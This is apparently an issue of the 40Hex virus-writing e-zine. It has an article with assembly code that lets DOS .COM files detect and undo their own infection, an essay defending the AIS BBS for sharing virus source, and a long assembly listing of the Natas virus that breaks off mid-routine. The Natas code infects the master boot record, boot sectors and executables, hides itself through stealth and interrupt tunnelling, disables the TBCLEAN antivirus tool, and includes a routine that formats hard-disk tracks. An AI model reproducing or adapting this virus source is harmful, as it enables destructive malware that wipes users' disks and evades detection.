40Hex Number 12 Volume 3 Issue 3
40Hex Number 12 Volume 3 Issue 3 File 003
Self Checking Executable Files
Demogorgon Phalcon/Skism
In this article I will explain a method that will allow .COM files
to be immune to simple viruses. In order to infect a .COM file, a virus
must change several bytes at the beginning of the code. Before the
virus returns control to the original program, it will 'disinfect' it
into memory, so that the program runs as it did before infection. This
disinfection process is crucial, because it means that the image on the
disk will not be the same as the memory image of the program. This
article describes a method by which a .COM file can perform a self-check
by reading its disk image and comparing it to its memory image.
The full pathname of the program that is being executed by DOS is
located in the environment block. The segment of the environment block
can be read from the PSP. It is located at offset [2Ch].
The name of the program is the last entry in the environment block,
and can be located by searching for two zeros. The next byte after the
two zeros contains the length of the string that follows it. After the
length is an ASCIIZ string containing the pathname of the current
process. The following code opens the file being executed:
nish: mov es, word ptr ds:[2Ch] ; segment of environment
xor ax, ax
mov di, 1
loop_0: dec di
scasw
jne loop_0
mov dx, di
add dx, 2 ; start of pathname
push es
pop ds
mov ax, 3D02h ; open, read/write access
int 21h
Next, we must read in the file (using dos services function 3Fh,
read file or device). We can read the file into the heap space after
the program, as long as we are sure we will not overwrite the stack. The
sample program in this file reads itself in entirely, but remember, it
is not necessary to do so. It is only necessary to read and compare the
first few bytes. Also, the program could read itself in blocks instead
of all at once.
If a file finds itself to be infected, it should report this to the
user. Remember, even though the file knows it is infected, the virus
has already executed. Memory resident viruses will already have loaded
themselves into memory, and direct action viruses will already have
infected other files on the drive. Thus, any virus that employs
disinfection on the fly will be able to avoid detection and removal.
Here is the full source to the self checking program:
;();();();();();();();();();();();();();();();();();();();();()
.model tiny
.code
org 100h
start: mov es, word ptr ds:[2Ch] ; dos environment block
xor ax, ax
mov di, 1
loop_0: dec di
scasw
jne loop_0
mov dx, di
add dx, 2 ; <- point to current
push es ; process name
pop ds
mov ah, 3Dh ; open file with handle
int 21h
jc bad ; error opening file ?
mov bx, ax
push cs
push cs
pop es
pop ds ; I am a com file.
mov cx, heap - start ; length
lea dx, heap ; where to read file into
mov ah, 3Fh ; read file or device
int 21h
jc bad ; error reading file ?
; here, do a byte for byte compare
lea si, start
lea di, heap
repe cmpsb ; compare 'em
jne bad
lea dx, clean
mov ah, 9
int 21h
jmp quit_
bad: mov ah, 9
lea dx, infected
int 21h
quit_: mov ax, 4C00h
int 21h
clean db 'Self check passed.$'
infected db 'Self check failed. Program is probably infected.$'
heap:
end start
;();();();();();();();();();();();();();();();();();();();();()
While some self checking routines opt to use a crc or checksum
error detection method, the byte for byte method is both faster and more
accurate.
Weak points: This routine will not work against a stealth virus
which employs disinfection on the fly. Such viruses take over the dos
interrupt (int 21) and disinfect all files that are opened and read
from. As the routine in this article attempts to read itself into
memory, the stealth virus would disinfect it and write an uninfected
copy to ram. Of course, there are ways to defeat this. If this program
were to use some sort of tunneling, it could bypass the stealth virus
and call DOS directly. That way, infections by even the most
sophisticated viruses would be detectable.
Disinfection:
So, now you can write programs that will detect if they have been
infected. How about disinfection? This too is possible. Most viruses
simply replace the first three bytes of the executable file with a jump
or a call, which transfers control to the virus code. Since only the
first three bytes are going to be changed (in almost all cases), it will
usually be possible for a program to disinfect itself by replacing the
first three bytes with what is supposed to be there, and then truncating
itself to the correct size. The next program writes the entire memory
image to disk, rather than just the first three bytes. That way, it can
be used to disinfect itself from all nonstealth viruses.
The steps to disinfect are simple. First of all, you must move the
file pointer back to the beginning of the file. Use interrupt 21,
ah=42h for this. The AL register holds the move mode, which must be 00
in this case (move from beginning of file). CX:DX holds the 32bit
number for how many bytes to move. Naturally, this should be 0:0.
The second step is to write back the memory image to the file.
Since the virus has already restored the first few bytes of our program
in memory, we must simply write back to the original file, starting from
100h in the current code segment. i.e.:
mov ah, 40h
mov cx, heap - start ; bytes to write
lea dx, start
int 21h ; write file or device
Finally, we must truncate the file back to its original size. To
truncate a file, we must move the file pointer to the end and call the
'write file or device' function with cx, the bytes to write, equal to
zero. To move the pointer, do this:
mov ax, 4200h
mov cx, (heap - start) SHR 16 ; high word of file ptr
mov dx, (heap - start) ; low word of file ptr
int 21h ; move file pointer
Since we are dealing with .COM files here, it is safe to assume
that cx, the most significant word of the file ptr, can be set to zero,
because our entire file must fit into one segment. We do not need to
calculate it as above.
To truncate:
xor cx, cx
mov ah, 40h
int 21h ; truncate file
The full code for the self disinfecting program follows.
;();();();();();();();();();();();();();();();();();();();();()
.model tiny
.code
org 100h
start: mov es, word ptr ds:[2Ch] ; segment of environment
xor ax, ax
mov di, 1
loop_0: dec di
scasw
jne loop_0
mov dx, di
add dx, 2
push es
pop ds
mov ax, 3D02h ; open, read/write access
int 21h
mov bx, ax ; handle into bx
push cs
push cs
pop es
pop ds
mov cx, heap - start
lea dx, heap
mov ah, 3Fh ; read file or device
int 21h
jc quit_ ; can't read ?
lea si, start
lea di, heap
repe cmpsb ; byte for byte compare
jne bad
lea dx, clean ; we are golden
mov ah, 9 ; print string
int 21h
jmp main_program
bad: mov ah, 9 ; we are infected
lea dx, infected
int 21h
lea dx, disinfection
int 21h
; now, disinfect. File handle is still in bx
; we must move the file pointer to the beginning
xor cx, cx
xor dx, dx
mov ax, 4200h
int 21h ; move file pointer
mov ah, 40h ; 40hex!
mov cx, heap - start
lea dx, start
int 21h ; write file or device
jnc success
lea dx, not__
mov ah, 9
int 21h
success:mov ah, 9
lea dx, successful
int 21h
xor cx, cx
mov ah, 40h ; 40hex!
int 21h ; truncate file
main_program:
quit_: mov ax, 4C00h
int 21h
disinfection db 0Dh, 0Ah, 'Disinfection $'
not__ db 'not '
successful db 'successful.$'
clean db 'Self check passed.$'
infected db 'Self check failed. Program is probably '
db 'infected.$'
heap:
end start
;();();();();();();();();();();();();();();();();();();();();()
Weak points: The same weak points that apply above also apply here.
Additionally, the program may, by writing itself back to disk, give the
virus the opportunity to reinfect. Remember, any memory resident
viruses will already have loaded into memory by the time the program
disinfects itself. When the program tries to disinfect itself, any
virus that intercepts the 'write file or device' interrupt will
intercept this write and re-infect. Again, tunneling is the clear
solution.
40Hex Number 12 Volume 3 Issue 3 File 003
[Not so] Recently, the AIS BBS was shut down because of an anonymous
letter which stated that the AIS BBS contained and distributed virus
source code and helped system hackers develop and test malicious
programs. Now, I had been a member of AIS BBS for quite awhile, and it
is true that there was virus source code available. The first question
I want to ask is:
"Who uploaded these viruses?"
Hackers uploaded them. To my knowledge there weren't that many
hackers on AIS BBS. The majority of the users were people in the
computer and computer security industry. By being exposed to virus
source code and hackers in general, they would be able to do their job
better and more effectively. The anonymous person who complained about
AIS BBS clearly didn't do enough research, because if he had, he would
have realized that the people who he was worried about obtaining viruses
already had them. I would guess that over 90% of the underground
material on AIS BBS was contributed by hackers. Which brings me to my
next question...
"Why did hackers willingly give away their 'secrets' to the people who
have always been viewed as the enemy?"
The main reason the hackers on AIS BBS contributed to the system was
the friendly environment for them on AIS BBS. An important fact about
almost all hackers is that for the most part they are just like every
other person out there. They aren't evil computer geniuses trying to
destroy everyone's vital information. When logging into AIS BBS, a
hacker was not assaulted by rude messages, was not refered to as
a criminal, but was instead greeted as a fellow computer enthusiast. Of
course people wanted advice from hackers, who better to secure a
computer system then one who spends countless hours trying to penetrate
them.
"Are there, or have there ever been other systems like this?"
There have been several attempts to achieve a BBS that bridged the
gap between hackers and computer security professionals. The first one
I had ever heard of was called Face to Face. I am not too sure on the
success of this BBS, I only know that it wasn't that great. On my BBS,
Landfill, I also attempted to allow the security folks to interact with
computer hackers and virus writers, with a message base called 'Security
and the Security Impaired'. This forum allowed both sides to speak
their mind about a variety of issues, including Van Eck devices (TEMPEST),
suggestions for the improvement of currently insecure systems, and in
one example, virus writers helped one system administrator with a
rampant case of the Maltese Amoeba virus by displaying all of the
pertinent information and characteristics of the virus. Another system
called Unphamiliar Territories also has a message base with similiar
information that is still up and running today with a substantial amount
of success!
"Who protects us if our protectors are aiding the enemy?"
The Bureau of Public Debt has little to do with protecting our
country, and in regards to viruses, there is no agency who can protect
you from viruses. There is however a way you can protect yourselves.
It is through awareness that you can protect your data from the damages
incurred by malicious intent. The same awareness that the Bureau of
Public Debt was trying to make publicly available on AIS BBS. Before
the government did it, everyone else had already done it. This fact may
alarm some people, but I would estimate that there are well over 200
other systems in the United States alone that currently distribute virus
code to people who very well could end up distributing it to other
people without their consent. I am a tax paying citizen of the USA, and
I know I would rather hear that we spend a couple hundred dollars
educating the public on computer viruses then hear about the thousands
of dollars in damage done by miscellaneous computer viruses that hit
companies and wipe out all their data. By closing down AIS BBS, the
door for virus writers to obtain virus source remains wide open, while
the people who could find the information valuable, if not necessary for
their jobs, just had the only door open to them slammed shut and locked,
maybe forever. It is hard to tell who hurts us more - Those who make it
harder for computer users to protect themselves, or those who sit in
blind ignorance.
-> GHeap
;Natas Virus
;COM/EXE/Boot sector/partition table/full Stealth and polymorphic
;Tunnels
;Does other stuff
;2 files -- v1eng.asm = virus eng.asm = Engine
----------------<>--------------------------------------------------
.model tiny
.code
file_size equ file_end - v_start
sect_size equ (decrypt - v_start + 511) / 512
para_size equ (v_end - v_start + 15) / 16
kilo_size equ (v_end - v_start + 1023) / 1024
find_dos_13 equ tracer_dos_13 - (trace_mode + 1)
find_13 equ tracer_13 - (trace_mode + 1)
find_15 equ tracer_15 - (trace_mode + 1)
find_21 equ tracer_21 - (trace_mode + 1)
find_40 equ tracer_40 - (trace_mode + 1)
step_21 equ tracer_step_21 - (trace_mode + 1)
loader_size equ loader_end - loader
no_hook_21 equ new_13_next - (hook_21 + 1)
yes_hook_21 equ check_21 - (hook_21 + 1)
boot equ 0
file equ 1
years equ 100 shl 1
v_start: jmp decrypt
; push cs
; pop ds
; call copy_ints
dw copy_ints - ($ + 2) ; save ints 13 15 21 40
mov ds:hook_21,al ; (0=yes_hook_21) hook 21h
mov ds:origin,al ; (0=boot) remeber host
mov es,ax ; ES=0
pop di
sub di,3 ; address of loader in boot
push ax di ; save return address 0:xxxx
mov si,offset boot_code
call move_boot_code1 ; copy and decode boot code
mov al,13h
mov dx,offset new_13
call set_int ; hook int 13h
call inf_hard ; infect drive C:
test byte ptr ds:load_head,dl ; DL=80h drive C:?
je boot_retf
mov ax,1ffh
call random ; time to activate?
jne boot_retf
jmp kill_disk
boot_retf: retf ; return to boot sector
;=====( Copy boot code and (en/de)crypt it )=================================;
move_boot_code1:mov ah,ds:[si - 1] ; get key
move_boot_code: mov cx,loader_size
cld
move_boot_loop: lodsb
xor al,ah ; code/decode
rol ah,1
stosb
loop move_boot_loop
retn
;=====( Code that was in boot sector before infection )======================;
boot_code_key db ?
boot_code: db loader_size dup(?)
;=====( Gets inserted into infected Boot sectors/MBRs )======================;
loader: call $ + 3
mov di,40h
mov ds,di
sub word ptr ds:[di-(40h-13h)],kilo_size ; hide memory
mov ax,ds:[di-(40h-13h)]
mov cl,0ah
ror ax,cl ; get TOM address
mov es,ax
mov ax,200h + sect_size
xor bx,bx
mov cx,0
load_sect = $ - 2
mov dx,0
load_head = $ - 2
int 13h ; read code into memory
jb load_fail
push es bx ; address of high code
retf
load_fail: int 18h
loader_end:
;=====( save ints 13h, 15h, 21h & 40h. Assumes ES=CS )=======================;
copy_ints: push ds
xor ax,ax
mov ds,ax ; segment 0
mov si,13h * 4h
mov di,offset int_13
push si si
movsw
movsw ; int 13h to int_13
pop si
movsw
movsw ; int 13h to dos_13
mov si,15h * 4h
movsw
movsw ; int 15h to int_15
pop si ; address of int 13h's IVT
cmp byte ptr ds:[475h],al ; any hard disks?
je copy_int_40
mov si,40h * 4h
copy_int_40: movsw
movsw ; copy int 13h/40h to int_40
mov si,21h * 4h
movsw
movsw ; int 21h to int_21
pop ds
retn
;=====( get interrupt address )==============================================;
get_int: push ax
xor ah,ah
rol ax,1
rol ax,1
xchg bx,ax
xor ax,ax
mov es,ax
les bx,es:[bx] ; get int address
pop ax
retn
;=====( Set interrupt address )==============================================;
set_int: push ax bx ds
xor ah,ah
rol ax,1
rol ax,1
xchg ax,bx
xor ax,ax
push ds
mov ds,ax
mov ds:[bx],dx
pop ds:[bx + 2]
pop ds bx ax
retn
push_all: pop cs:push_pop_ret
pushf
push ax bx cx dx bp si di ds es
mov bp,sp
push_pop_jmp: jmp cs:push_pop_ret
pop_all: pop cs:push_pop_ret
pop es ds di si bp dx cx bx ax
popf
jmp push_pop_jmp
;=====( Infect Drive C: )====================================================;
inf_hard: push cs cs
pop es ds
mov ax,201h
mov bx,offset disk_buff
mov cx,1
mov dx,80h
call call_13 ; read MBR of drive C:
jb cant_inf_hard
cmp ds:[bx.pt_start_head],ch ; Jackal?
je cant_inf_hard
mov cx,ds:[bx.pt_end_sector_track]
and cx,0000000000111111b ; get sector count
sub cx,sect_size
jbe cant_inf_hard
cmp cl,1 ; too few sectors?
jbe cant_inf_hard
call copy_loader ; copy loader into MBR
jb cant_inf_hard
push bx
mov ax,300h + sect_size
xor bx,bx
call call_13 ; write code to hidden sectors
pop bx
jb cant_inf_hard
mov ax,301h
mov cl,1
call call_13 ; write infected MBR
cant_inf_hard: retn
;=====( Copy Loader into disk_buff (BX) )====================================;
copy_loader: push cx dx
cmp word ptr ds:[bx+1feh],0aa55h ; valid boot code?
jne copy_load_no
mov di,offset boot_code
mov ds:[di+load_sect-boot_code],cx ; save track/sector
and dl,80h ; Drive C: or A:
mov ds:[di+load_head-boot_code],dx ; save head/disk
call find_boot ; find code/already infected?
je copy_load_no
call random_1 ; get random key
mov ds:[di - 1],ah ; save key at boot_code_key
push si
call move_boot_code ; save boot code and encrypt
mov si,di ; offset of loader
pop di ; boot code pointer
mov cx,loader_size
rep movsb ; copy loader into boot sect
clc
mov al,0
org $ - 1
copy_load_no: stc
pop dx cx
retn
;=====( Find start of boot sector's code )===================================;
find_boot: mov si,bx
cld
lodsb ; get 1st instruction
push ax
lodsw ; Jump displacement (if jump)
xchg cx,ax
pop ax
cmp al,0ebh ; Short jump?
jne find_boot_jump
xor ch,ch ; 8bit jump
dec si
jmp find_boot_add
find_boot_jump: cmp al,0e9h ; Near Jump?
je find_boot_add
find_boot_noadd:xor cx,cx ; No displacement
mov si,bx
find_boot_add: add si,cx ; si=start of boot code
cmp si,offset (disk_buff+200h) - (loader_size + 5)
; jump out of range?
jnb find_boot_noadd
cmp word ptr ds:[si],00e8h ; CALL -> already infected
jne find_boot_ret
cmp word ptr ds:[si+2],0bf00h ; 00 MOV DI -> already inf
find_boot_ret: retn
;=====( Disable TBCLEAN )====================================================;
anti_tbclean: xor ax,ax
pushf
pop dx
and dh,not 1 ; TF off
push dx dx
popf
push ss
pop ss
pushf ; Not trapped
pop dx
test dh,1 ; TF set?
pop dx
je anti_tb_ret
push es
xor bp,bp
mov cx,ss
cli
mov ss,bp ; segment 0
les di,ss:[bp+1h*4h] ; address of int 1h
mov ss,cx
sti
mov al,0cfh
cld
stosb ; IRET -> Int 1h
pop es
push dx
popf
anti_tb_ret: xchg bp,ax ; save result
retn
;=====( Swap jump into DOS' int 13h )========================================;
swap_13: call push_all
mov si,offset jump_code_13
les di,cs:[si+dos_13-jump_code_13] ; get address in DOS
jmp swap_code
;=====( Swap jump into DOS' int 21h )========================================;
swap_21: call push_all
mov si,offset jump_code_21
les di,cs:[si+int_21-jump_code_21]
swap_code: push cs
pop ds
mov cx,5
cmp ds:origin,ch ; 0 -> Boot origin, no tunnel
je swap_end
cld
swap_loop: lodsb
xchg al,es:[di]
mov ds:[si-1],al
inc di
loop swap_loop
swap_end: call pop_all
retn
;=====( Find original interrupt entry points )===============================;
find_ints: call copy_ints ; get interrupt addresses
mov ah,52h
int 21h
mov ax,es:[bx-2]
mov ds:dos_seg,ax ; 1st MCB segment
mov al,1h
call get_int ; get address of int 1h
push bx es
mov dx,offset tracer
call set_int ; hook int 1h
pushf
pop si
mov di,offset trace_mode
mov byte ptr ds:[di],find_dos_13 ; find int 13h in DOS
; and BIOS
mov ah,1h
call si_tf ; set TF
call call_13
mov byte ptr ds:[di],find_15 ; find int 15h in BIOS
mov ah,0c0h
call si_tf ; set TF
pushf
call ds:int_15
mov byte ptr ds:[di],find_21 ; find int 21h in DOS
mov ah,30h
call si_tf ; set TF
call call_21
mov byte ptr ds:[di],find_40 ; find int 40h in BIOS
mov ah,1
call si_tf ; set TF
call call_40
and si,not 100h
push si
popf ; disable Trapping
pop ds dx
mov al,1
call set_int ; unhook int 1h
retn
;=====( Set TF in SI, then set flags to SI )=================================;
si_tf: or si,100h
push si
popf
retn
;=====( Tracing/Tunneling )==================================================;
tracer: push ds
push cs
pop ds
mov ds:old_di,di
mov di,offset old_ax
mov ds:[di],ax
mov ds:[di+old_bx-old_ax],bx
mov ds:[di+old_cx-old_ax],cx
mov ds:[di+old_dx-old_ax],dx
pop ds:[di-(old_ax-old_ds)]
pop bx cx dx ; get IP, CS and Flags
mov ax,cs
cmp ax,cx ; In our CS?
jne $
trace_mode = byte ptr $ - 1
jmp tracer_iret
tracer_dos_13: cmp cx,ds:dos_seg ; in DOS code?
jnb tracer_cont
mov di,offset dos_13
mov ds:trace_mode,find_13 ; find it in BIOS next
jmp tracer_save_f
tracer_21: cmp cx,1234h ; In DOS code?
dos_seg = word ptr $ - 2
jnb tracer_cont
mov di,offset int_21
tracer_save: and dh,not 1 ; TF off
tracer_save_f: mov ds:[di],bx
mov ds:[di + 2],cx ; save address of int
jmp tracer_cont
tracer_15: mov di,offset int_15
jmp tracer_bios
tracer_40: mov di,offset int_40
jmp tracer_bios
tracer_13: mov di,offset int_13
tracer_bios: cmp ch,0c8h ; Below BIOS?
jb tracer_cont
cmp ch,0f4h ; Above BIOS?
jb tracer_save
jmp tracer_cont
tracer_step_21: dec ds:inst_count ; down counter
jne tracer_cont
push dx
mov al,1
lds dx,ds:int_1 ; get int 1h address
call set_int
call swap_21 ; insert int 21h jump
pop dx
and dh,not 1h ; TF off
tracer_cont: test dh,1 ; TF on?
je tracer_iret
get_inst: mov ds,cx ; instruction CS
xor di,di
get_inst1: mov ax,ds:[bx + di] ; get instruction
cmp al,0f0h ; LOCK
je skip_prefix
cmp al,0f2h ; REPNE
je skip_prefix
cmp al,0f3h ; REPE?
je skip_prefix
cmp al,9ch ; PUSHF or above?
jae emulate_pushf
and al,11100111b ; 26,2e,36,3e = 26
cmp al,26h ; Segment Prefix?
jne tracer_iret
skip_prefix: inc di
jmp get_inst1
emulate_pushf: jne emulate_popf
and dh,not 1 ; TF off
push dx ; fake PUSHF
emulate_next: lea bx,ds:[bx + di + 1] ; skip instruction
emulate_tf: or dh,1 ; TF on
jmp get_inst
emulate_popf: cmp al,9dh ; POPF?
jne emulate_iret
pop dx ; fake POPF
jmp emulate_next
emulate_iret: cmp al,0cfh ; IRET?
jne emulate_int
pop bx cx dx ; fake IRET
jmp emulate_tf
emulate_int: cmp al,0cdh ; Int xx
je emulate_int_xx
cmp al,0cch ; Int 3?
mov ah,3
je emulate_int_x
cmp al,0ceh ; Into?
mov ah,4
jne tracer_iret
test dh,8 ; OF set?
je tracer_iret
emulate_int_x: dec bx ; [bx+di+2-1]
emulate_int_xx: and dh,not 1 ; TF off
lea bx,ds:[bx + di + 2] ; get return address
push dx cx bx ; fake Int
mov al,ah
push es
call get_int ; get interrupt address
mov cx,es
pop es
jmp emulate_tf
tracer_iret: push dx cx bx ; save flags, cs & ip
mov ax,0
old_ds = word ptr $ - 2
mov ds,ax
mov ax,0
old_ax = word ptr $ - 2
mov bx,0
old_bx = word ptr $ - 2
mov cx,0
old_cx = word ptr $ - 2
mov dx,0
old_dx = word ptr $ - 2
mov di,0
old_di = word ptr $ - 2
iret
;=====( file infections come here after decryption )=========================;
file_start: push ds ; save PSP segment
call $ + 3
pop si
sub si,offset $ - 1
call anti_tbclean ; disable TBCLEAN
or bp,bp ; TBCLEAN active?
jne go_res
mov ah,30h
mov bx,-666h
int 21h
cmp al,3h ; must be DOS 3+
jb jump_host
go_res: mov ax,es
dec ax
mov ds,ax
xor di,di
or bp,bp ; TBCLEAN here?
jne dont_check_mcb
cmp byte ptr ds:[di],'Z' ; Last Block?
jne jump_host
dont_check_mcb: mov ax,para_size
sub ds:[di + 3],ax ; from MCB
sub ds:[di + 12h],ax ; from PSP
mov es,ds:[di + 12h] ; get memory address
mov ds,di
sub word ptr ds:[413h],kilo_size ; from int 12h
mov cx,jump_code_13-v_start
cld
rep movs byte ptr es:[di],byte ptr cs:[si]
mov ax,offset high_code
push es ax
retf
jump_host: push cs
pop ds
pop es ; PSP segment
lea si,ds:[si + header] ; get address of header
mov ax,ds:[si] ; get 1st instruction
cmp ax,'ZM' ; EXE?
je jump_2_exe
cmp ax,'MZ' ; EXE?
je jump_2_exe
mov cx,18h / 2
mov di,100h
push es di
cld
rep movsw ; repair .COM file
push es
pop ds
xchg ax,cx
retf
jump_2_exe: mov ax,es
add ax,10h
add ds:[si.eh_cs],ax
add ax,ds:[si.eh_ss] ; get SS/CS
push es
pop ds
cli
mov ss,ax
mov sp,cs:[si.eh_sp]
xor ax,ax
sti
jmp dword ptr cs:[si.eh_ip]
high_code: push cs
pop ds
mov byte ptr ds:[di+origin-jump_code_13],file ; tunnel
mov ax,2
call random ; 1 in 3 chance of no stealth
; on special programs
mov ds:check_special,al
mov ds:hook_21,no_hook_21 ; dont hook int 21h
mov al,0eah
stosb ; store at jump_code_13
mov ds:[di+4],al
mov ax,offset new_13
stosw
mov word ptr ds:[di+3],offset new_21
mov ds:[di],cs
mov ds:[di+5],cs
push di
call find_ints ; trace interrupts
pop di
push cs
pop ds
mov ax,ds:dos_seg
cmp word ptr ds:[di+(dos_13+2)-(jump_code_13+3)],ax
; found DOS' int 13h?
ja call_inf_hard
cmp word ptr ds:[di+(int_21+2)-(jump_code_13+3)],ax
; found DOS' int 21h?
ja call_inf_hard
call swap_13
call swap_21 ; insert jumps into DOS
call_inf_hard: call inf_hard ; infect drive C:
or bp,bp ; ZF -> No TBCLEAN
mov si,bp ; SI=0 if goto jump_host
jne kill_disk
jmp jump_host
kill_disk: xor bx,bx
mov es,bx ; table to use for format
mov dl,80h ; Drive C:
kill_next_disk: xor dh,dh ; head 0
kill_next_track:xor cx,cx ; track 0
kill_format: mov ax,501h
call call_disk ; format track
and cl,11000000b
inc ch ; next track low
jne kill_format
add cl,40h ; next track high
jne kill_format
xor ah,ah
int 13h ; reset disk
inc dh ; next head
cmp dh,10h
jb kill_next_track
inc dx ; next drive
jmp kill_next_disk
;=====( Interrupt 13h handler )==============================================;
new_13: jmp $
hook_21 = byte ptr $ - 1
check_21: call push_all
mov al,21h
call get_int ; get int 21h address
mov ax,es
push cs cs
pop ds es
cmp ax,800h ; too high?
ja cant_hook_21
mov di,offset int_21 + 2
std
xchg ax,ds:[di] ; swap addresses
scasw ; did it change?
je cant_hook_21
mov ds:[di],bx
mov al,21h
mov dx,offset new_21
call set_int ; hook int 21h
mov ds:hook_21,no_hook_21
cant_hook_21: call pop_all
new_13_next: cmp ah,2h ; Read?
jne jump_13
cmp cx,1 ; track 0, sector 1?
jne jump_13
or dh,dh ; head 0?
je hide_boot
jump_13: call call_dos_13
retf 2h
hide_boot: call call_dos_13 ; read boot sector
call push_all
jb hide_boot_err
push es cs
pop es ds
mov cx,100h
mov si,bx
mov di,offset disk_buff
mov bx,di
cld
rep movsw ; copy boot sector to buffer
push cs
pop ds
call find_boot ; find start/already infected?
jne inf_boot
mov ax,201h
mov cx,ds:[si+load_sect-loader]
mov dh,byte ptr ds:[si+(load_head+1)-loader]
; get code location
call call_disk ; read virus code
jb hide_boot_err
mov ax,ds:[0]
cmp ds:[bx],ax ; verify infection
jne hide_boot_err
mov di,ss:[bp.reg_bx]
mov es,ss:[bp.reg_es] ; get caller's buffer
sub si,bx ; displacement into boot sect.
add di,si ; address of loader
lea si,ds:[bx+(boot_code-v_start)] ; boot code in virus
call move_boot_code1 ; hide infection
hide_boot_err: call pop_all
retf 2h
inf_boot: cmp dl,80h ; hard disk?
jnb hide_boot_err
mov ax,301h
mov cx,1
call call_disk ; Write boot sector to disk
; CY -> Write-Protected
jb hide_boot_err
mov si,dx ; save drive #
mov di,bx
mov ax,ds:[di.bs_sectors] ; get number of sectors
mov cx,ds:[di.bs_sectors_per_track]
sub ds:[di.bs_sectors],cx ; prevent overwriting of code
mov ds:hide_count,cx
xor dx,dx
or ax,ax ; error?
je hide_boot_err
jcxz hide_boot_err
div cx
or dx,dx ; even division?
jne hide_boot_err
mov bx,ds:[di.bs_heads] ; get number of heads
or bx,bx
je hide_boot_err
div bx
or dx,dx
jne hide_boot_err
dec ax
mov ch,al ; last track
mov cl,1 ; sector 1
dec bx
mov dx,si ; drive
mov dh,bl ; last head
mov bx,di ; offset disk buffer
call copy_loader ; Copy loader into Boot sector
jb hide_boot_err
mov ax,300h + sect_size
xor bx,bx
call call_disk
jb hide_boot_err
mov ax,301h
mov bx,offset disk_buff
mov cx,1
xor dh,dh
call call_disk ; write boot sector to disk
mov bx,ss:[bp.reg_bx]
mov ds,ss:[bp.reg_es] ; get caller's buffer
sub ds:[bx.bs_sectors],9ffh ; prevent overwriting of code
hide_count = word ptr $ - 2
jmp hide_boot_err
;=====( Interrupt 21h handler )==============================================;
new_21: cli
mov cs:int_21_ss,ss
mov cs:int_21_sp,sp ; save stack pointers
push cs
pop ss
mov sp,offset temp_stack ; allocate stack
sti
call push_all
in al,21h
or al,2 ; disable keyboard
out 21h,al
push cs
pop ds
mov di,offset new_24
mov word ptr ds:[di-(new_24-handle)],bx ; save handle
mov al,24h
call get_int ; get address of int 24h
mov word ptr ds:[di-(new_24-int_24)],bx
mov word ptr ds:[di-(new_24-(int_24+2))],es
mov word ptr ds:[di],03b0h ; MOV AL,3
mov byte ptr ds:[di+2],0cfh ; IRET
mov dx,di
call set_int ; hook int 24h
call pop_all
call swap_21 ; remove jump from int 21h
call push_all
cmp ah,30h ; get DOS version?
jne is_dir_fcb
add bx,666h ; looking for us?
jnz is_dir_fcb
mov ss:[bp.reg_ax],bx ; set DOS version=0
mov ss:[bp.reg_bx],bx
jmp retf_21
is_dir_fcb: cmp ah,11h
jb is_dir_asciiz
cmp ah,12h
ja is_dir_asciiz
call call_21 ; do find
or al,al ; error?
je dir_fcb
jmp jump_21
dir_fcb: call save_returns ; save AX
call get_psp ; get current PSP
mov ax,'HC'
scasw ; CHKDSK?
jne dir_fcb_ok
mov ax,'DK'
scasw
jne dir_fcb_ok
mov ax,'KS'
scasw
je retf_21
dir_fcb_ok: call get_dta ; get DTA address
xor di,di
cmp byte ptr ds:[bx],-1 ; extended FCB?
jne dir_fcb_next
mov di,7h ; fix it up
dir_fcb_next: lea si,ds:[bx+di.ds_date+1] ; offset of year -> SI
dir_hide: call is_specialfile ; no stealth if helper
je retf_21
cmp byte ptr ds:[si],years ; infected?
jc retf_21
sub byte ptr ds:[si],years ; restore old date
les ax,ds:[bx+di.ds_size] ; get size of file
mov cx,es
sub ax,file_size ; hide size increase
sbb cx,0
jc retf_21
mov word ptr ds:[bx+di.ds_size],ax
mov word ptr ds:[bx+di.ds_size+2],cx ; save new size
retf_21: call undo_24 ; unhook int 24h
call pop_all
call swap_21 ; insert jump
cli
mov ss,cs:int_21_ss
mov sp,cs:int_21_sp
sti
retf 2
is_dir_asciiz: cmp ah,4eh
jb is_lseek
cmp ah,4fh
ja is_lseek
call call_21
jnc dir_asciiz
go_jump_21: jmp jump_21
dir_asciiz: call save_returns ; save AX and flags
call get_dta ; get dta address
mov di,-3
lea si,ds:[bx.dta_date+1] ; get year address
jmp dir_hide
is_lseek: cmp ax,4202h ; Lseek to end?
jne is_date
call call_21_file
jb go_jump_21
call get_dcb ; get DCB address
jbe lseek_exit
call is_specialfile ; dont hide true size from
; helpers
je lseek_exit
sub ax,file_size
sbb dx,0 ; hide virus at end
mov word ptr ds:[di.dcb_pos],ax
mov word ptr ds:[di.dcb_pos+2],dx ; set position in DCB
lseek_exit: clc
call save_returns ; save AX/flags
mov ss:[bp.reg_dx],dx
jmp retf_21
is_date: cmp ax,5700h ; get date?
je get_date
cmp ax,5701h ; set date?
jne is_read
call get_dcb
jbe date_err
cmp dh,years ; already setting 100 years?
jnb date_err
add dh,years ; dont erase marker
get_date: call is_specialfile ; do not hide date for
; helpers
je date_err
call call_21_file ; get/set date
jnc date_check
date_err: jmp jump_21
date_check: cmp dh,years ; infected?
jb date_ok
sub dh,years
date_ok: clc
call save_returns ; save ax/flags
mov ss:[bp.reg_cx],cx
mov ss:[bp.reg_dx],dx ; save time/date
jmp retf_21
is_read: cmp ah,3fh ; reading file?
je do_read
no_read: jmp is_write
do_read: call get_dcb ; get DCB address
jbe no_read
call is_specialfile
je no_read
les ax,ds:[di.dcb_size] ; get size of file
mov bx,es
les dx,ds:[di.dcb_pos] ; get current position
mov si,es
and cs:read_bytes,0
or si,si ; in 1st 64k?
jnz read_high
cmp dx,18h ; reading header?
jnb read_high
push cx
add cx,dx
cmc
jnc read_above
cmp cx,18h ; read goes above header?
read_above: pop cx
jb read_below
mov cx,18h
sub cx,dx
read_below: push ax bx ; save size
push dx ; position
sub dx,18h
add ax,dx ; get position in header
cmc
sbb bx,si
xchg word ptr ds:[di.dcb_pos],ax
xchg word ptr ds:[di.dcb_pos+2],bx ; lseek to header
push ax bx
push ds
mov ah,3fh
mov dx,ss:[bp.reg_dx]
mov ds,ss:[bp.reg_ds]
call call_21_file ; read file
pop ds
pop word ptr ds:[di.dcb_pos+2]
pop word ptr ds:[di.dcb_pos]
pop dx
pushf
add dx,ax ; adjust position
add cs:read_bytes,ax ; remember # of bytes read
popf
pop bx ax
jnc read_high
jmp jump_21
read_high: mov word ptr ds:[di.dcb_pos],dx ; update position
mov word ptr ds:[di.dcb_pos+2],si
mov cx,ss:[bp.reg_cx] ; number of bytes to read
sub cx,cs:read_bytes
sub ax,file_size
sbb bx,0 ; get original size
push ax bx
sub ax,dx
